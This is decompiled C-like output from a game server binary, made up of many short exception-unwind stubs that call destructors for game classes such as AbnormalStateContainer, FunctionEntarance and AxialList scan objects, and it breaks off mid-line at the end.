//----- (006170EB) -------------------------------------------------------- void __usercall _L191924(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 196)); } //----- (006170F9) -------------------------------------------------------- void __usercall _L191925(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 200)); } //----- (00617107) -------------------------------------------------------- void __usercall _L191926(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 204)); } //----- (00617115) -------------------------------------------------------- void __usercall _L191927(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 208)); } //----- (00617123) -------------------------------------------------------- void __usercall _L191928(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 212)); } //----- (00617131) -------------------------------------------------------- void __usercall _L191929(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 216)); } //----- (0061713F) -------------------------------------------------------- void __usercall _L191930(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 220)); } //----- (0061714D) -------------------------------------------------------- void __usercall _L191931(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 224)); } //----- (0061715B) -------------------------------------------------------- void __usercall _L191932(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 228)); } //----- (00617169) -------------------------------------------------------- void __usercall _L191933(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 232)); } //----- (00617177) -------------------------------------------------------- void __usercall _L191934(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 236)); } //----- (00617185) -------------------------------------------------------- void __usercall _L191935(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 240)); } //----- (00617193) -------------------------------------------------------- void __usercall _L191936(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 244)); } //----- (006171A1) -------------------------------------------------------- void __usercall _L191937(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 248)); } //----- (006171AF) -------------------------------------------------------- void __usercall _L191938(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 252)); } //----- (006171BD) -------------------------------------------------------- void __usercall _L191939(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 256)); } //----- (006171CB) -------------------------------------------------------- void __usercall _L191940(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 260)); } //----- (006171D9) -------------------------------------------------------- void __usercall _L191941(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 264)); } //----- (006171E7) -------------------------------------------------------- void __usercall _L191942(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 268)); } //----- (006171F5) -------------------------------------------------------- void __usercall _L191943(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 272)); } //----- (00617203) -------------------------------------------------------- void __usercall _L191944(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 276)); } //----- (00617211) -------------------------------------------------------- void __usercall _L191945(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 280)); } //----- (0061721F) -------------------------------------------------------- void __usercall _L191946(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 284)); } //----- (0061722D) -------------------------------------------------------- void __usercall _L191947(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 288)); } //----- (0061723B) -------------------------------------------------------- void __usercall _L191948(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 292)); } //----- (00617249) -------------------------------------------------------- void __usercall _L191949(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 296)); } //----- (00617257) -------------------------------------------------------- void __usercall _L191950(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 300)); } //----- (00617265) -------------------------------------------------------- void __usercall _L191951(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 304)); } //----- (00617273) -------------------------------------------------------- void __usercall _L191952(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 308)); } //----- (00617281) -------------------------------------------------------- void __usercall _L191953(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 312)); } //----- (0061728F) -------------------------------------------------------- void __usercall _L191954(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 316)); } //----- (0061729D) -------------------------------------------------------- void __usercall _L191955(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 320)); } //----- (006172AB) -------------------------------------------------------- void __usercall _L191956(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 324)); } //----- (006172B9) -------------------------------------------------------- void __usercall _L191957(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 328)); } //----- (006172C7) -------------------------------------------------------- void __usercall _L191958(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 332)); } //----- (006172D5) -------------------------------------------------------- void __usercall _L191959(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 336)); } //----- (006172E3) -------------------------------------------------------- void __usercall _L191960(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 340)); } //----- (006172F1) -------------------------------------------------------- void __usercall _L191961(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 344)); } //----- (006172FF) -------------------------------------------------------- void __usercall _L191962(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 348)); } //----- (0061730D) -------------------------------------------------------- void __usercall _L191963(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 352)); } //----- (0061731B) -------------------------------------------------------- void __usercall _L191964(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 356)); } //----- (00617329) -------------------------------------------------------- void __usercall _L191965(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 360)); } //----- (00617337) -------------------------------------------------------- void __usercall _L191966(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 364)); } //----- (00617345) -------------------------------------------------------- void __usercall _L191967(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 368)); } //----- (00617380) -------------------------------------------------------- void __usercall _L194199(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (006173A0) -------------------------------------------------------- void __usercall _L194368(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 8)); } //----- (006173C0) -------------------------------------------------------- void __usercall _L194844(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (006173E0) -------------------------------------------------------- void __usercall _L194879(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00617400) -------------------------------------------------------- void __usercall _L195139(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 - 120)); } //----- (00617420) -------------------------------------------------------- void __usercall _L195188(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00617428) -------------------------------------------------------- void __usercall _L195189(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 36)); } //----- (00617430) -------------------------------------------------------- void __usercall _L195190(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00617450) -------------------------------------------------------- void __usercall _L195487(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (0061745B) -------------------------------------------------------- void __usercall _L195488(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 136)); } //----- (00617466) -------------------------------------------------------- void __usercall _L195489(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 124)); } //----- (0061746E) -------------------------------------------------------- void __usercall _L195490(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (00617480) -------------------------------------------------------- void __usercall _L195717(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00617488) -------------------------------------------------------- void __usercall _L195718(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 - 120)); } //----- (006174A0) -------------------------------------------------------- void __usercall _L196142(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (006174A8) -------------------------------------------------------- void __usercall _L196156(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (006174C0) -------------------------------------------------------- void __usercall _L196379(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 124)); } //----- (006174C8) -------------------------------------------------------- void __usercall _L196380(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (006174E0) -------------------------------------------------------- void __usercall _L196678(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00617500) -------------------------------------------------------- void __usercall _L196986(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1636)); } //----- (0061750B) -------------------------------------------------------- void __usercall _L196987(int a1) { AxialListNearScanRandomEnemy::_AxialListNearScanRandomEnemy((AxialListNearScanEnemyorAll *)(a1 - 1628)); } //----- (00617516) -------------------------------------------------------- void __usercall _L196988(int a1) { AxialListNearScanFriend::_AxialListNearScanFriend((AxialListNearScanFriend *)(a1 - 1628)); } //----- (00617530) -------------------------------------------------------- void __usercall _L197148(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 3300)); } //----- (0061753B) -------------------------------------------------------- void __usercall _L197149(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 3300)); } //----- (00617551) -------------------------------------------------------- void __usercall _L197151(int a1) { AxialListNearScanCenterFriendCasterEnemy::_AxialListNearScanCenterFriendCasterEnemy((AxialListNearScanCenterFriendCasterEnemy *)(a1 - 3244)); } //----- (00617570) -------------------------------------------------------- void __usercall _L197236(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00617590) -------------------------------------------------------- void __usercall _L197262(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x6Cu, 30, (void (__thiscall *)(void *))AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject); } //----- (006175B0) -------------------------------------------------------- void __usercall _L197298(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (006175D0) -------------------------------------------------------- void __usercall _L197616(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 3628)); } //----- (006175DB) -------------------------------------------------------- void __usercall _L197617(int a1) { AxialListNearScanRandomEnemy::_AxialListNearScanRandomEnemy((AxialListNearScanEnemyorAll *)(a1 - 1628)); } //----- (006175E6) -------------------------------------------------------- void __usercall _L197618(int a1) { AxialListNearScanRandomEnemy::_AxialListNearScanRandomEnemy((AxialListNearScanEnemyorAll *)(a1 - 3244)); } //----- (006175F1) -------------------------------------------------------- void __usercall _L197619(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 3616)); } //----- (00617610) -------------------------------------------------------- void __usercall _L197934(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00617630) -------------------------------------------------------- void __usercall _L197978(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1632)); } //----- (0061763B) -------------------------------------------------------- void __usercall _L197979(int a1) { AxialListNearScanCoupleParty::_AxialListNearScanCoupleParty((AxialListNearScanCoupleParty *)(a1 - 1628)); } //----- (00617650) -------------------------------------------------------- void __usercall _L198087(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1628)); } //----- (0061765B) -------------------------------------------------------- void __usercall _L198088(int a1) { AxialListNearScanParty::_AxialListNearScanParty((AxialListNearScanParty *)(a1 - 1624)); } //----- (00617670) -------------------------------------------------------- void __usercall _L198218(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1628)); } //----- (0061767B) -------------------------------------------------------- void __usercall _L198219(int a1) { AxialListNearScanGuildAcademy::_AxialListNearScanGuildAcademy((AxialListNearScanGuildAcademy *)(a1 - 1624)); } //----- (006199F0) -------------------------------------------------------- void __usercall _L163990(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (006199F8) -------------------------------------------------------- void __usercall _L163991(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 2792)); } //----- (00619A10) -------------------------------------------------------- void __usercall _L171272(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00619A30) -------------------------------------------------------- void __usercall _L165794(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00619A50) -------------------------------------------------------- void __usercall _L165838(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00619A58) -------------------------------------------------------- void __usercall _L165839(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00619A80) -------------------------------------------------------- void __usercall _L168754(int a1) { exception::_exception(*(exception **)(a1 - 16)); } //----- (00619AA0) -------------------------------------------------------- void __usercall _L168862(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00619B30) -------------------------------------------------------- void __usercall _L170577(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00619B38) -------------------------------------------------------- void __usercall _L170578(int a1) { AbnormalStateShelter::AbstateBuffer::_AbstateBuffer((AbnormalStateShelter::AbstateBuffer *)(a1 - 32)); } //----- (00619B50) -------------------------------------------------------- void __usercall _L194069(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (00619B70) -------------------------------------------------------- void __usercall _L200116(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00619B90) -------------------------------------------------------- void __usercall _L194028(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 40)); } //----- (00619BB0) -------------------------------------------------------- void __usercall _L194148(int a1) { ListIter_AmpCmdLevel::_ListIter_AmpCmdLevel((ListIter_AmpCmdLevel *)(a1 - 44)); } //----- (00619BD0) -------------------------------------------------------- void __usercall _L194201(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00619BF0) -------------------------------------------------------- void __usercall _L195954(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00619C10) -------------------------------------------------------- void __usercall _L197662(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00619C30) -------------------------------------------------------- void __usercall _L194708(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 548)); } //----- (00619C50) -------------------------------------------------------- void __usercall _L194775(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00619C58) -------------------------------------------------------- void __usercall _L194776(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00619C70) -------------------------------------------------------- void __usercall _L194898(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00619C7B) -------------------------------------------------------- void __usercall _L194899(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 284)); } //----- (00619C90) -------------------------------------------------------- void __usercall _L195013(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00619C98) -------------------------------------------------------- void __usercall _L195014(int a1) { AxialListDoorAction::_AxialListDoorAction((AxialListDoorAction *)(a1 - 24)); } //----- (00619CB0) -------------------------------------------------------- void __usercall _L195482(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (00619CD0) -------------------------------------------------------- void __usercall _L195287(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 164)); } //----- (00619CF0) -------------------------------------------------------- void __usercall _L195369(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00619CF8) -------------------------------------------------------- void __usercall _L195370(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00619D00) -------------------------------------------------------- void __usercall _L195371(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 40)); } //----- (00619D20) -------------------------------------------------------- void __usercall _L198397_1(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (00619D40) -------------------------------------------------------- void __usercall _L196578(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00619D48) -------------------------------------------------------- void __usercall _L196579(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 20)); } //----- (00619D60) -------------------------------------------------------- void __usercall _L196753(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (00619D80) -------------------------------------------------------- void __usercall _L198141(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00619DA0) -------------------------------------------------------- void __usercall _L197112(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00619DC0) -------------------------------------------------------- void __usercall _L197923(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00619DC8) -------------------------------------------------------- void __usercall _L197924(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 24)); } //----- (00619DE0) -------------------------------------------------------- void __usercall _L198076(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00619E00) -------------------------------------------------------- void __usercall _L198310(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00619E20) -------------------------------------------------------- void __usercall _L199047_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00619E40) -------------------------------------------------------- void __usercall _L199081(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 180)); } //----- (00619E60) -------------------------------------------------------- void __usercall _L199129(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00619E6B) -------------------------------------------------------- void __usercall _L199130(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00619E80) -------------------------------------------------------- void __usercall _L199670(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 188)); } //----- (00619EA0) -------------------------------------------------------- void __usercall _L199755(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 156)); } //----- (00619EC0) -------------------------------------------------------- void __usercall _L199957(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00619EE0) -------------------------------------------------------- void __usercall _L200002(int a1) { PROTO_KQ_INFO::_PROTO_KQ_INFO((PROTO_KQ_INFO *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00619EEB) -------------------------------------------------------- void __usercall _L200003(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 328), 0x24u, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00619F03) -------------------------------------------------------- void __usercall _L200004(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 472)); } //----- (00619F11) -------------------------------------------------------- void __usercall _L200005(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 728)); } //----- (00619F30) -------------------------------------------------------- void __usercall _L200022(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 96)); } //----- (00619F50) -------------------------------------------------------- void __usercall _L200196(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00619F70) -------------------------------------------------------- void __usercall _L200252(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 288)); } //----- (00619F90) -------------------------------------------------------- void __usercall _L200752(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00619FB0) -------------------------------------------------------- void __usercall _L200814(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1032)); } //----- (00619FBB) -------------------------------------------------------- void __usercall _L200815(int a1) { KingdomQuest::KQElement::_KQElement((KingdomQuest::KQElement *)(a1 - 1028)); } //----- (00619FD0) -------------------------------------------------------- void __usercall _L200846_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 816)); } //----- (00619FDB) -------------------------------------------------------- void __usercall _L200847(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (00619FE6) -------------------------------------------------------- void __usercall _L200848(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 696)); } //----- (0061A000) -------------------------------------------------------- void __usercall _L201001(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 456)); } //----- (0061A00B) -------------------------------------------------------- void __usercall _L201002(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (0061A020) -------------------------------------------------------- void __usercall _L202926(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061A040) -------------------------------------------------------- void __usercall _L203974(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0061A048) -------------------------------------------------------- void __usercall _L203975(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (0061A060) -------------------------------------------------------- void __usercall _L204208(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (0061A080) -------------------------------------------------------- void __usercall _L204664(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0061A088) -------------------------------------------------------- void __usercall _L204665(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 24), 0x28u, 256, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0061A0B0) -------------------------------------------------------- void __usercall _L204835(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 172)); } //----- (0061A0BB) -------------------------------------------------------- void __usercall _L204836(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 160)); } //----- (0061A0C6) -------------------------------------------------------- void __usercall _L204837(int a1) { std::vector_std::allocator>_std::allocator_std::allocator>>>::_vector_std::allocator>_std::allocator_std::allocator>>>((std::vector,std::allocator >,std::allocator,std::allocator > > > *)(a1 - 192)); } //----- (0061A0D1) -------------------------------------------------------- void __usercall _L204838(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 